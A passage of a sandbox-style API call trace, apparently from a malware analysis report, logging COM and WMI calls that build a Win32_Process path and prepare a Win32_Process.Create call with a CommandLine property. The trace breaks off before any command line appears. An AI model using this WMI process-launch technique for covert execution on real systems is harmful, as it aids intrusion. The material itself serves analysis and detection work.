pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0143.826] WbemDefPath:IUnknown:Release (This=0x1bc21ee0) returned 0x3 [0143.826] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0143.826] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0143.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980a50, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0143.826] WbemDefPath:IUnknown:Release (This=0x1a980a50) returned 0x2 [0143.827] WbemDefPath:IUnknown:Release (This=0x1a980a50) returned 0x1 [0143.827] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0143.827] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0143.827] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980a50, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1a980a50) returned 0x0 [0143.827] WbemDefPath:IUnknown:AddRef (This=0x1a980a50) returned 0x3 [0143.827] WbemDefPath:IUnknown:Release (This=0x1a980a50) returned 0x2 [0143.827] WbemDefPath:IWbemPath:SetText (This=0x1a980a50, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0143.827] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980b10, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0143.827] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980a50, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0143.827] WbemDefPath:IWbemPath:GetText (in: This=0x1a980a50, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0143.827] WbemDefPath:IWbemPath:GetText (in: This=0x1a980a50, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0143.827] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1a980b10) returned 0x0 [0143.827] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980a50, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0143.827] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a980a50, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0143.827] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a980a50, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0143.827] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1a980b10, uIndex=0x0, pszName="ROOT") returned 0x0 [0143.827] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a980a50, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0143.827] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a980a50, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0143.827] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1a980b10, uIndex=0x1, pszName="CIMV2") returned 0x0 [0143.827] WbemDefPath:IWbemPath:GetClassName (in: This=0x1a980b10, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0143.827] WbemDefPath:IWbemPath:SetClassName (This=0x1a980b10, Name="Win32_Process") returned 0x0 [0143.827] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a980b10, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0143.828] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980b10, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0143.828] WbemDefPath:IWbemPath:GetText (in: This=0x1a980b10, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0143.828] WbemDefPath:IWbemPath:GetText (in: This=0x1a980b10, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0143.828] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a980b10, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0143.828] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980b10, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0143.828] WbemDefPath:IWbemPath:GetText (in: This=0x1a980b10, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0143.828] WbemDefPath:IWbemPath:GetText (in: This=0x1a980b10, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0143.828] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980e10, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0143.828] WbemDefPath:IWbemPath:GetText (in: This=0x1a980e10, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0143.828] WbemDefPath:IWbemPath:GetText (in: This=0x1a980e10, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0143.828] WbemDefPath:IWbemPath:GetText (in: This=0x1a980b10, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0143.828] WbemDefPath:IWbemPath:GetText (in: This=0x1a980b10, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0143.828] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0143.828] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0143.828] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0143.828] IUnknown:Release (This=0x1a943398) returned 0x1 [0143.830] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bc21da0) returned 0x0 [0143.830] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc21da0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0143.830] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc21da0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1a980990) returned 0x0 [0143.830] WbemDefPath:IUnknown:Release (This=0x1bc21da0) returned 0x0 [0143.830] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980990, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1a980990) returned 0x0 [0143.830] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980990, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0143.830] WbemDefPath:IUnknown:AddRef (This=0x1a980990) returned 0x3 [0143.830] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980990, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0143.830] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980990, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0143.830] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980990, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bc21e20) returned 0x0 [0143.830] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc21e20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0143.830] WbemDefPath:IUnknown:Release (This=0x1bc21e20) returned 0x3 [0143.830] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0143.831] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0143.831] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980990, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0143.831] WbemDefPath:IUnknown:Release (This=0x1a980990) returned 0x2 [0143.831] WbemDefPath:IUnknown:Release (This=0x1a980990) returned 0x1 [0143.831] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0143.831] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0143.831] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980990, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1a980990) returned 0x0 [0143.831] WbemDefPath:IUnknown:AddRef (This=0x1a980990) returned 0x3 [0143.831] WbemDefPath:IUnknown:Release (This=0x1a980990) returned 0x2 [0143.831] WbemDefPath:IWbemPath:SetText (This=0x1a980990, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0143.831] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980e10, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0143.831] WbemDefPath:IWbemPath:GetText (in: This=0x1a980e10, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0143.831] WbemDefPath:IWbemPath:GetText (in: This=0x1a980e10, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0143.831] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0143.831] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0143.831] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0143.831] IUnknown:Release (This=0x1a943398) returned 0x1 [0143.833] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc21d40) returned 0x0 [0143.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc21d40, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0143.833] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc21d40, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1a9808d0) returned 0x0 [0143.833] WbemDefPath:IUnknown:Release (This=0x1bc21d40) returned 0x0 [0143.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9808d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1a9808d0) returned 0x0 [0143.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9808d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0143.833] WbemDefPath:IUnknown:AddRef (This=0x1a9808d0) returned 0x3 [0143.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9808d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0143.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9808d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0143.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9808d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc21d20) returned 0x0 [0143.833] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc21d20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0143.833] WbemDefPath:IUnknown:Release (This=0x1bc21d20) returned 0x3 [0143.833] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0143.834] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0143.834] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9808d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0143.834] WbemDefPath:IUnknown:Release (This=0x1a9808d0) returned 0x2 [0143.834] WbemDefPath:IUnknown:Release (This=0x1a9808d0) returned 0x1 [0143.834] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0143.834] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0143.834] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9808d0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1a9808d0) returned 0x0 [0143.834] WbemDefPath:IUnknown:AddRef (This=0x1a9808d0) returned 0x3 [0143.834] WbemDefPath:IUnknown:Release (This=0x1a9808d0) returned 0x2 [0143.834] WbemDefPath:IWbemPath:SetText (This=0x1a9808d0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0143.834] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980990, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0143.834] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a9808d0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0143.834] WbemDefPath:IWbemPath:GetText (in: This=0x1a9808d0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0143.834] WbemDefPath:IWbemPath:GetText (in: This=0x1a9808d0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0143.834] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1a980990) returned 0x0 [0143.834] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a9808d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0143.834] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a9808d0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0143.834] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a9808d0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0143.834] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1a980990, uIndex=0x0, pszName="root") returned 0x0 [0143.834] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a9808d0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0143.834] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a9808d0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0143.834] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1a980990, uIndex=0x1, pszName="cimv2") returned 0x0 [0143.834] WbemDefPath:IWbemPath:GetServer (in: This=0x1a9808d0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0143.834] WbemDefPath:IWbemPath:GetServer (in: This=0x1a9808d0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0143.834] WbemDefPath:IWbemPath:GetServer (in: This=0x1a980990, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0143.835] WbemDefPath:IWbemPath:GetServer (in: This=0x1a980990, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0143.835] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a980990, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0143.835] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980e10, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0143.835] WbemDefPath:IWbemPath:GetText (in: This=0x1a980e10, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0143.835] WbemDefPath:IWbemPath:GetText (in: This=0x1a980e10, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0143.835] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980e10, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0143.835] WbemDefPath:IWbemPath:GetText (in: This=0x1a980e10, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0143.835] WbemDefPath:IWbemPath:GetText (in: This=0x1a980e10, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0143.835] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980990, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0143.835] WbemDefPath:IWbemPath:GetText (in: This=0x1a980990, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0143.835] WbemDefPath:IWbemPath:GetText (in: This=0x1a980990, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0143.835] WbemDefPath:IWbemPath:GetText (in: This=0x1a980990, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0143.835] WbemDefPath:IWbemPath:GetText (in: This=0x1a980990, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0143.835] IWbemServices:GetObject (in: This=0x1a953200, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1aa2aaf0, ppCallResult=0x0) returned 0x0 [0143.838] IWbemClassObject:GetMethod (in: This=0x1aa2aaf0, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bc75150, ppOutSignature=0x1bb7e690*=0x1bc754c0) returned 0x0 [0143.839] IWbemClassObject:SpawnInstance (in: This=0x1bc75150, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1aa19aa0) returned 0x0 [0143.839] IWbemClassObject:Get (in: This=0x1aa19aa0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2798a98*=0, plFlavor=0x2798a9c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2798a98*=8, plFlavor=0x2798a9c*=32) returned 0x0 [0143.839] IWbemClassObject:Get (in: This=0x1aa19aa0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2798a98*=8, plFlavor=0x2798a9c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2798a98*=8, plFlavor=0x2798a9c*=32) returned 0x0 [0143.839] IWbemClassObject:Put (This=0x1aa19aa0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, 